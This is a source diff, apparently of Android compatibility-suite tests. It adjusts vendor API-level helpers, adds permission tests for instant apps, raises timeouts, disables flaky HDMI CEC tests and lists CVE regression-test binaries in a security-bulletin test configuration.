+ return vndkApiLevel > apiLevel;
+ }
+
+ /**
+ * Return whether the VNDK version of the vendor partiton is same or newer than the
+ * given API level.
+ * If the property is set to non-integer value, this means the vendor partition is using
+ * current API level and true is returned.
+ */
+ public static boolean isVndkApiLevelAtLeast(int apiLevel) {
+ int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+ if (vndkApiLevel == INT_VALUE_IF_UNSET) {
+ return true;
+ }
+ return vndkApiLevel >= apiLevel;
+ }
+
+ /**
+ * Return whether the SDK version of the vendor partiton is newer than the given API level.
+ */
+ public static boolean isVendorApiLevelNewerThan(int apiLevel) {
+ int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+ // Run previous action when failed to get ro.vendor.build.version.sdk
+ // b/166800127 for details
+ if (vendorSdkVersion == 0) {
+ return isVndkApiLevelNewerThan(apiLevel);
+ }
+ return vendorSdkVersion > apiLevel;
}
/**
* Return whether the SDK version of the vendor partiton is same or newer than the
* given API level.
- * If the property is set to non-integer value, this means the vendor partition is using
- * current API level and true is returned.
*/
public static boolean isVendorApiLevelAtLeast(int apiLevel) {
- int vendorApiLevel = getPropertyInt(VNDK_VERSION);
- if (vendorApiLevel == INT_VALUE_IF_UNSET) {
- return true;
+ int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+ // Run previous action when failed to get ro.vendor.build.version.sdk
+ // b/166800127 for details
+ if (vendorSdkVersion == 0) {
+ return isVndkApiLevelAtLeast(apiLevel);
}
- return vendorApiLevel >= apiLevel;
+ return vendorSdkVersion >= apiLevel;
}
/**
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 7472748..fbc01df 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -378,6 +378,24 @@
"testInstallPermissionGranted");
}
+ @Test
+ public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+ if (mIsUnsupportedDevice) {
+ return;
+ }
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+ "testInstallPermissionNotGrantedInPackageInfo");
+ }
+
+ @Test
+ public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+ if (mIsUnsupportedDevice) {
+ return;
+ }
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+ "testInstallPermissionGrantedInPackageInfo");
+ }
+
/** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
@Test
public void testStartForegroundService() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index 4e8cadf..f439579 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -239,11 +239,12 @@
mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_BOOT_COMPLETED));
testUnlockDevice();
- setUpExternalStoragePaths();
assertTrue("User not unlocked", unlocked.await(1, TimeUnit.MINUTES));
assertTrue("No locked boot complete", bootCompleted.await(1, TimeUnit.MINUTES));
+ setUpExternalStoragePaths();
+
// The test app process should be still running, make sure CE DE now is available
testAppACeDataExists();
testAppADeDataExists();
@@ -283,4 +284,4 @@
mContext.unbindService(mServiceConnection);
}
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 8aed0cf..106434f 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -111,7 +111,7 @@
try {
//Enfornce to set the list mode
//Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item) in grid mode when screen landscape mode
- new UiObject(new UiSelector().resourceId("com.android.documentsui:id/option_menu_list")).click();
+ new UiObject(new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/sub_menu_list")).click();
mDevice.waitForIdle();
}catch (UiObjectNotFoundException e){
//do nothing, already be in list mode.
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 5930840..23593b0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -23,6 +23,7 @@
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.hasItems;
import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
import static org.hamcrest.CoreMatchers.notNullValue;
import static org.hamcrest.CoreMatchers.nullValue;
import static org.junit.Assert.assertSame;
@@ -78,6 +79,7 @@
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import java.util.concurrent.CountDownLatch;
@@ -1169,6 +1171,28 @@
}
@Test
+ public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+ assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
+ }
+
+ @Test
+ public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+ assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
+ }
+
+ private static boolean isPermissionGrantedInPackageInfo(String permissionName)
+ throws Exception {
+ final Context context = InstrumentationRegistry.getContext();
+ final PackageInfo packageInfo = context.getPackageManager().getPackageInfo(
+ context.getPackageName(), PackageManager.GET_PERMISSIONS);
+ final int permissionIndex = Arrays.asList(packageInfo.requestedPermissions).indexOf(
+ permissionName);
+ assertThat(permissionIndex, is(not(-1)));
+ return (packageInfo.requestedPermissionsFlags[permissionIndex]
+ & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0;
+ }
+
+ @Test
public void testExposedActivity() throws Exception {
final Bundle testArgs = InstrumentationRegistry.getArguments();
assertThat(testArgs, is(notNullValue()));
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index 7d94aed..af75c90 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -197,6 +197,9 @@
// Rename to ensure that stats are updated
video.renameTo(new File(dir, System.nanoTime() + ".PnG"));
+ // Since we have MANAGE_EXTERNAL_STORAGE, need to ask for a re-scan
+ MediaStore.scanFile(getContext().getContentResolver(), dir);
+ MediaStore.scanFile(getContext().getContentResolver(), downloadsDir);
MediaStore.waitForIdle(getContext().getContentResolver());
final ExternalStorageStats afterRename = stats.queryExternalStatsForUser(UUID_DEFAULT, user);
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 8a4f45c..6b41018 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -62,7 +62,7 @@
"com.android.cts.crossprofileappstest:id/user_textview";
private static final String ID_USER_TEXTVIEW_NONMAIN =
"com.android.cts.crossprofileappstest:id/user_textview_nonmain";
- private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+ private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(15);
private CrossProfileApps mCrossProfileApps;
private UserHandle mTargetUser;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 82ce679..9bb371b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -32,6 +32,7 @@
import com.google.common.collect.ImmutableSet;
+import java.util.concurrent.TimeUnit;
import java.util.Set;
public class UserRestrictionsParentTest extends InstrumentationTestCase {
@@ -89,9 +90,15 @@
hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isTrue();
}
- public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() {
- assertThat(mUserManager.
- hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isFalse();
+ public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() throws Exception {
+ final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(30);
+ while (System.nanoTime() <= deadline) {
+ if (!mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)) {
+ return;
+ }
+ Thread.sleep(100);
+ }
+ fail("The restriction didn't go away.");
}
public void testAddUserRestrictionDisallowAddUser_onParent() {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index 875803c..e69f2dc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -196,9 +196,6 @@
removeOrgOwnedProfile();
assertHasNoUser(mUserId);
- // Make sure the user restrictions are removed before continuing
- waitForBroadcastIdle();
-
// User restrictions are not persist after organization-owned profile owner is removed
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
"testUserRestrictionDisallowConfigDateTimeIsNotPersisted", mPrimaryUserId);
diff --git a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
index 88a3179..70f694d 100644
--- a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
+++ b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
@@ -45,7 +45,7 @@
@RunWith(AndroidJUnit4.class)
public class HarmfulAppWarningDeviceTest {
- private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(1);
+ private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(3);
private static final String ACTION_ACTIVITY_STARTED =
"android.harmfulappwarning.sampleapp.ACTIVITY_STARTED";
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
index c6f8c09..a8e43d3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
@@ -29,12 +29,14 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to test audio return channel control (Section 11.2.17) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 6b349e3..accaa2f 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -33,12 +33,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 5ee1045..151f5e0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -30,12 +30,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to verify logical address after device reboot (Section 10.2.5) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
index 38eade7..51f7351 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
@@ -27,11 +27,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.junit.Test;
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
index 9733e34..b284215 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
@@ -35,6 +35,7 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
@@ -47,6 +48,7 @@
import java.util.stream.IntStream;
/** HDMI CEC test to test system audio mode (Section 11.2.15) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecSystemAudioModeTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
index f9f5ca2..c1a4111e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
@@ -45,6 +45,7 @@
/**
* HDMI CEC test to verify physical address after device reboot (Section 10.2.3)
*/
+@Ignore("b/149519706")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index 6945249..95baefc 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -30,6 +30,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
@@ -74,6 +75,7 @@
* the volume up and down keys are pressed on the DUT. Test also verifies that the
* <USER_CONTROL_PRESSED> message has the right control param.
*/
+ @Ignore("b/162836413")
@Test
public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
ITestDevice device = getDevice();
@@ -101,6 +103,7 @@
* the mute key is pressed on the DUT. Test also verifies that the <USER_CONTROL_PRESSED>
* message has the right control param.
*/
+ @Ignore("b/162836413")
@Test
public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
ITestDevice device = getDevice();
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index d847e3c..6e7adc6 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -135,11 +135,14 @@
public void testBaseApkMissingSignatureAdbInstall() throws Exception {
String newApkName = String.format("base%d.apk", new Random().nextInt());
// Create a copy of original apk but not its idsig.
- copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
- String output = installWithAdbInstaller(newApkName);
- verifyInstallCommandFailure(output);
- assertTrue(output.contains(String.format("Failed to stat signature file %s",
- getFilePathFromBuildInfo(newApkName) + SIG_SUFFIX)));
+ copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+ // Make sure it installs.
+ assertTrue(
+ installWithAdbInstaller(TEST_APP_BASE_APK_NAME).contains(INSTALL_SUCCESS_OUTPUT));
+ verifyPackageInstalled(TEST_APP_PACKAGE_NAME);
+ verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
+ TEST_APP_V1_VERSION);
+ validateAppLaunch(TEST_APP_PACKAGE_NAME, ON_CREATE_COMPONENT);
}
@@ -147,8 +150,9 @@
public void testBaseApkInvalidSignatureAdbInstall() throws Exception {
String newApkName = String.format("base%d.apk", new Random().nextInt());
String sigSuffix = ".idsig";
- copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
- copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, newApkName + sigSuffix);
+ File destApk = copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+ copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, destApk.getParentFile(),
+ newApkName + sigSuffix);
try (RandomAccessFile raf = new RandomAccessFile(
getFilePathFromBuildInfo(newApkName + sigSuffix), "rw")) {
// Contaminate signature by complementing a random byte.
@@ -351,10 +355,11 @@
return mBuildHelper.getTestFile(filename).getAbsolutePath();
}
- private void copyTestFile(String sourceFilename, String destFilename) throws IOException {
+ private File copyTestFile(String sourceFilename, File destPath, String destFilename) throws IOException {
File source = new File(getFilePathFromBuildInfo(sourceFilename));
- File dest = new File(source.getParentFile(), destFilename);
+ File dest = new File(destPath != null ? destPath : source.getParentFile(), destFilename);
FileUtil.copyFile(source, dest);
+ return dest;
}
private void uninstallApp(String packageName) throws Exception {
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index d37b0f5..5b19d4b 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -58,7 +58,7 @@
private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(60L);
private TestStrategy mTest;
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
index 03d60bc..0bfc6c6 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
@@ -72,7 +72,7 @@
mContext.sendBroadcast(getRequestIntent(mimeGroup, mimeTypes, request));
- Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(5L));
+ Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(60L));
mContext.unregisterReceiver(receiver);
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 7aec1c7..3b4aeaf 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -622,11 +622,20 @@
* Asserts can rename file.
*/
public static void assertCanRenameFile(File oldFile, File newFile) {
+ assertCanRenameFile(oldFile, newFile, /* checkDB */ true);
+ }
+
+ /**
+ * Asserts can rename file and optionally checks if the database is updated after rename.
+ */
+ public static void assertCanRenameFile(File oldFile, File newFile, boolean checkDatabase) {
assertThat(oldFile.renameTo(newFile)).isTrue();
assertThat(oldFile.exists()).isFalse();
assertThat(newFile.exists()).isTrue();
- assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
- assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+ if (checkDatabase) {
+ assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
+ assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+ }
}
/**
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 6541a7b..abf72f0 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -2184,18 +2184,18 @@
assertFileContent(otherAppPdf, BYTES_DATA1);
// Assert we can rename the file and ensure the file has the same content
- assertCanRenameFile(otherAppPdf, pdf);
+ assertCanRenameFile(otherAppPdf, pdf, /* checkDatabase */ false);
assertFileContent(pdf, BYTES_DATA1);
// We can even move it to the top level directory
- assertCanRenameFile(pdf, topLevelPdf);
+ assertCanRenameFile(pdf, topLevelPdf, /* checkDatabase */ false);
assertFileContent(topLevelPdf, BYTES_DATA1);
// And even rename to a place where PDFs don't belong, because we're an omnipotent
// external storage manager
- assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace);
+ assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace, /* checkDatabase */ false);
assertFileContent(pdfInObviouslyWrongPlace, BYTES_DATA1);
// And we can even convert it into a music file, because why not?
- assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile);
+ assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile, /* checkDatabase */ false);
assertFileContent(musicFile, BYTES_DATA1);
} finally {
pdf.delete();
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 41a05d5..3dd77ff 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -46,6 +46,11 @@
<option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
<!--__________________-->
+ <!-- Bulletin 2015-10 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2015-3873->/data/local/tmp/CVE-2015-3873" />
+
+ <!--__________________-->
<!-- Bulletin 2016-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
@@ -61,6 +66,7 @@
<!--__________________-->
<!-- Bulletin 2016-06 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-2485->/data/local/tmp/CVE-2016-2485" />
<option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
<!--__________________-->
@@ -113,6 +119,7 @@
<!--__________________-->
<!-- Bulletin 2017-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-10244->/data/local/tmp/CVE-2016-10244" />
<option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
<option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
<option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
@@ -141,6 +148,7 @@
<!--__________________-->
<!-- Bulletin 2017-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0670->/data/local/tmp/CVE-2017-0670" />
<option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
<!--__________________-->
@@ -160,11 +168,15 @@
<!--__________________-->
<!-- Bulletin 2018-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-13180->/data/local/tmp/CVE-2017-13180" />
+ <option name="push" value="CVE-2017-0817->/data/local/tmp/CVE-2017-0817" />
<option name="push" value="CVE-2018-9527->/data/local/tmp/CVE-2018-9527" />
<!--__________________-->
<!-- Bulletin 2018-02 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-13234->/data/local/tmp/CVE-2017-13234" />
+ <option name="push" value="CVE-2017-0837->/data/local/tmp/CVE-2017-0837" />
<option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
<option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
@@ -181,11 +193,15 @@
<!--__________________-->
<!-- Bulletin 2018-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2018-9428->/data/local/tmp/CVE-2018-9428" />
<option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
<!--__________________-->
<!-- Bulletin 2018-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2018-9466-CVE-2017-9047->/data/local/tmp/CVE-2018-9466-CVE-2017-9047" />
+ <option name="push" value="CVE-2018-9466-CVE-2017-9048->/data/local/tmp/CVE-2018-9466-CVE-2017-9048" />
+ <option name="push" value="CVE-2018-9466-CVE-2017-9049->/data/local/tmp/CVE-2018-9466-CVE-2017-9049" />
<option name="push" value="CVE-2018-9472->/data/local/tmp/CVE-2018-9472" />
<!--__________________-->
@@ -197,23 +213,60 @@
<!--__________________-->
<!-- Bulletin 2018-11 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2018-9537->/data/local/tmp/CVE-2018-9537" />
<option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
<!--__________________-->
+ <!-- Bulletin 2019-02 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2019-1988->/data/local/tmp/CVE-2019-1988" />
+
+ <!--__________________-->
<!-- Bulletin 2019-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
<option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
-
+
+ <!--__________________-->
+ <!-- Bulletin 2019-08 -->
